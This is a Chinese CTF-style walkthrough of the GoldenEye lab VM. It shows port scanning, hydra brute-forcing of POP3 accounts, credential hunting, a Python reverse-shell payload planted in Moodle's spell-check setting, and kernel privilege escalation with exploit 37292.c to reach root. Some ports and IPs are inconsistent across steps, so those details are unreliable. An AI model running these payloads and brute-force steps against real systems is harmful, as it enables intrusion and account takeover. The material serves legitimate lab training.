一,实验环境
靶场:GoldEye ,ip 192.168.241.101 NAT模式
测试机:kali , ip 192.168.241.100 NAT模式
二,实验流程
信息收集与爆破阶段
开局我们先查看kali的ip
获知到kali的ip是192.168.241.100后,我们直接进行C段扫描来发现目标
nmap 192.168.241.0/24
通过扫描发现,目标ip是192.168.241.101,并且开放了25和80端口。
直接访问目标:http://192.168.241.101/
通过访问页面的文本提示,让进入到/sev-home/目录中,打开后发现是一个登录框,但奈何没有账号密码,就只能暂且放着,先从其他找寻其他突破口看看,实战中避免因为开局就各种爆破,暴露自己的行踪
接着我们进行目标指纹的识别,看看能否从识别出的内容里找寻到突破口,网上寻找对应Nday打入,但这里靶场能够给到我们信息价值并不是高,所以我们接着又从其他地方寻找突破口。
接着我们通过F12大法,查看网站源码,发现了一个可疑的js,点击查看
通过JS的注释,我们获知两个用户名:Boris、Natalya
以及一段HTML加密的内容
废话不多说,直接解码
拿着解密HTML:InvincibleHack3r 与收集到的两个用户名,回到之前发现的登录框,进行尝试登录,经过简单的尝试获知:
账号:boris (这里的账号是小写的,因为网站给出的大写人名我没能登录成功)
密码:InvincibleHack3r
登录后又出现了一些新的提示
通过信息的提示我们,我们可以了解到某个非默认端口上正在运行一个活动的POP3服务
既然是非默认端口,那么我们就直接对目标进行全端口扫描
这里我先使用masscan对目标进行全端口扫描(这时有的小伙伴就会问了,为什么不直接用nmap进行全端口扫描,主要原因还是,因为nmap全端口扫描时太慢了,我不喜欢等待如此长的时间,但有时masscan也会丢包漏掉一些端口,所以各位师傅在使用的时候也要注意这个问题)
masscan -p 1-65535 192.168.241.101 --rate=1000
通过masscan的扫描,我们发现目标开放了:25,80,5506,5507 四个端口,为了明确到底时那个端口开放了pop3服务,我们再用nmap进行一次详细的极速扫描
nmap -sS -sV -T5 -A -p5506,5507 192.168.241.101
通过细致的扫描,我们知道了55007端口开启了pop3服务,此刻没有想到其他更好的解决方案时,我此时选择采用工具hydra来对目标进行密码的爆破
首先创建一个文件夹,接着将我们之前获取到的用户名写入,并保存
爆破开始,密码这里我采用的是kali里默认的字典
hydra -L '/home/kali/桌面/name' -P /usr/share/wordlists/fasttrack.txt 192.168.241.101 -s 55007 pop3
经过几分钟的短暂等待,我们也成功爆破出两个用户的密码
用户:natalya 密码:bird
用户:boris 密码:secret1!
使用NC登录natalya用户进行邮件信息查看:
nc 192.168.241.101 55007 -----登录邮箱
user natalya -----登录用户
pass bird -----登录密码
list -----显示邮件数量
retr 数字 -----查看邮件
登录后发现存在两封邮件
第一封邮件,内容信息基本上没多大价值,唯一价值就是知道了一个新的用户名janus
第二封邮件,通过提示我们获知到新的账号密码以及让我们进行本地hosts的绑定
使用NC登录boris用户进行邮件信息查看:
nc 192.168.241.101 55007 -----登录邮箱
user boris -----登录用户
pass secret1! -----登录密码
list -----显示邮件数量
retr 数字 -----查看邮件
打开第一封邮件,发现没啥价信息值,直接跳过
打开第二封邮件,还是没有发现没啥价值信息,依旧直接跳过
打开第三封邮件,还是没有发现没啥价值信息,又继续跳过
回归主线任务,根据提示我们先将本地hosts文件进行编辑
vim /etc/hosts
192.168.241.101 severnaya-station.com
绑定后我们访问 :http://severnaya-station.com/gnocertdir
通过页面显示我们知道了管理员用户名为 admin 并且底部图标貌似是某个cms的图标
当即进行指纹识别,获取到了许多有价值的信息,知道了php版本,使用了什么编辑器,知道了是Moodle
随即我们继续页面各种点点点,发现左上角有2.2.3猜测肯是moodle的版本好,这是突然发现了一封邮件信息,当即选择打开
从邮件的信息里面,我们发现了一些地址以及联系方式,并且又收集到一个新的用户名:doak
继续使用hydra对用户doak进行密码爆破
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.241.101 -s 55007 pop3
爆破出密码goat
使用NC登录doak用户进行邮件信息查看:
nc 192.168.241.101 55007 -----登录邮箱
user doak -----登录用户
pass goat -----登录密码
list -----显示邮件数量
retr 数字 -----查看邮件
登录后发现邮箱内只有一封邮件,打开邮件我们又重新获取到了一组新的账号密码,并且提示我们进行登录
用户名:dr_doak
密码:4England!
登录后发现了一个文本文件
通过文本内容提示,让我打开/dir007key/for-007.jpg
打开后发现是一个魔性大叔的图片,查看源码也没发现什么有价值的线索
将图片下载到本地:
wget http://severnaya-station.com/dir007key/for-007.jpg
使用exiftool来对图片进行分析
exiftool for-007.jpg
从图片隐藏信息中查看到base64编码:eFdpbnRlcjE5OTV4IQ==
Getshell阶段

经过简单的了解学习,我们可以知道后台可以通过反弹shell来进行getshell
第一步:来到此处,修改为PSpellShell并保存
第二步先找到对应页面,并在框内插入python反弹shell的代码,并保存
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.28",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
第三步kali开启监听
nc -lvvp 666
第四步找到对应编辑页面
点击右下角最后一个图标,进行反弹shell的触发
shell反弹成功,
执行tty,因为获得的权限无框架,接着将shell进行tty
python -c 'import pty; pty.spawn("/bin/bash")'
权限提升阶段
接着查看权限,发现是一个低权限账户,所以我们下一步就是进行提权
whoami
首先查看版本信息,尝试通过内核提权
uname -a
发现版本为 Linux ubuntu 3.13.0 接着对相应版本进行漏洞搜索
searchsploit Linux ubuntu 3.13.0
接着复制第一个exp到桌面
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/桌面/
打开exp查看使用说明通过了解,该exp需要使用gcc编译
接着查看该网站是否支持gcc编译
which gcc
which cc
通过测试发现无法进行gcc编译,这时需要改脚本图标指示位置的gcc为cc
然后开启http服务:python -m http.Server
(或者使用 python -m SimpleHTTPServer 也是可以的)
接着使用wget下载 kali http服务下的37292.c 文件
wget http://192.168.241.100:8000/Desktop/37292.c
下载后进行脚本的编译并运行
cc -o exp 37292.c -----C语言的CC代码编译点c文件
chmod +x exp -----编译成可执行文件,并赋权
./exp -----脚本的执行
接着查看目前的权限
id
whoami
这时已经提权成功,我们可以直接进行flag的寻找
cd /root -----进入root目录
ls -a -----查看该目录下所有文件
cat /root/.flag.txt -----打开该flag文件
打开后发现新的文字提示,让我们进到该网站目录里
http://severnaya-station.com//006-final/xvf7-flag
此刻flag也已经找寻完成,如果在正常渗透过程中,我们还或根据情况需要进行权限维持,以及痕迹清理。这里就不做演示耽误大家时间了,个人技术较菜文章中,哪里如果有错误望各位师傅指出。